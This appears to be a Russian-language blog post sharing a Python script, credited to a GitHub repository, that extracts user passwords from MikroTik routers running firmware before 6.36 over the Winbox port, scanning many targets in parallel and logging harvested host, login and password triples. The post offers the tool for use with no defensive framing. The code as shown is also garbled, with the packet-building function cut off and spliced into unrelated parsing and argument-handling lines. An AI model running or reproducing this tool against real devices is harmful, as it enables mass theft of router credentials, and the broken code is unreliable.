Рубрики
Mikrotik

mikrotik / вытягивалка паролей из микротов до прошивки 6.36 / winbox-extract-passwords.py / python

#!/usr/bin/env python3
#https://github.com/jabberd/RouterOS_Tools/blob/master/winbox-extract-passwords.py


import argparse, binascii, struct, hashlib, time
from multiprocessing import Pool
from io import BytesIO
from socket import *
results_filename = 'winbox-extract-passwords.log'

TIMEOUT = 5
SLEEP_TIME = 0.5

# Packet headers
M2_HEADER = b'\x4d\x32'
M2_EXTRA  = b'\x01\x00'

# Message protocol types
MT_BOOL       = 0x00
MT_BOOL_CODE  = {False: 0x00, True: 0x01}
MT_BOOL_VALUE = {0x00: False, 0x01: True}
MT_DWORD      = 0x08
MT_BYTE       = 0x09
MT_STRING     = 0x21
MT_HASH       = 0x31
MT_ARRAY      = 0x88

# Message protocol constants
MT_RECEIVER = 0xff0001
MT_SENDER = 0xff0002
MT_REPLY_EXPECTED = 0xff0005
MT_REQUEST_ID = 0xff0006
MT_COMMAND = 0xff0007

DEBUG = False

# Global variables
targets = []
number_of_threads = 50
log = False
winbox_port = 8291

# mtPacket
class mtPacket(object):
	def __init__(self):
		self.contents = []
		self.raw = None
		self.ready = False
		self.parsed = False

	def add(self, id, type, value):
		self.contents.append((id, type, value))

	def build(self):
		buf = BytesIO()
		for k in self.contents:
			id, type, value = k
			if type == MT_BOOL:
				type = MT_BOOL_CODE[value]
				size_bytes = b''
				value_bytes = b''
			elif type == MT_DWORD:
				size_bytes = b''
				value_bytes = struct.pack('H', self.raw[2:4])
		if data_size + 4 != packet_size:
			raise Exception('Packet header size is incorrect!')
		block = self.raw[6:]
		pointer = 0
		block_size = len(block)
		while pointer + 4 < block_size:
			id, = struct.unpack(' or --targets/-T ')
		exit(1)
	elif args['target'] and args['targets']:
		print('Please specify either --target/-t  option, or --targets/-T , but not both')
		exit(1)
	elif args['target']:
		targets.append(args['target'])
		number_of_threads = 1
	else:
		targetsfile = args['targets']
		targets = read_targets(targetsfile)
		if targets is None:
			print('Error reading the targets file: %s' % targetsfile)
			exit(1)
		targets_count = len(targets)
		if targets_count < number_of_threads:
			number_of_threads = targets_count

	if args['debug']:
		DEBUG = True

	if args['threads']:
		number_of_threads = args['threads']

	if args['port']:
		winbox_port = args['port']

	if args['log']:
		log = True
		log_filename = args['log']
		log_file = open(log_filename, 'a')

	print('[*] Starting with %s threads' % number_of_threads)
	pool = Pool(processes = int(number_of_threads))
	results = pool.map(get_userdat, targets)
	pool.close()
	pool.join()
	print('[!] Finishing...')

	for r in results:
		if r is not None:
			for t in r:
				host, login, password = t
				out = host + ' ' + login + ' ' + password
				if not results_file_opened:
					results_file = open(results_filename, 'a')
					results_file_opened = True
				results_file.write(out + '\n')
				if log:
					log_file.write(host + '\t' + login + '\t' + password + '\n')

	if results_file_opened:
		results_file.close()
	if log:
		log_file.close()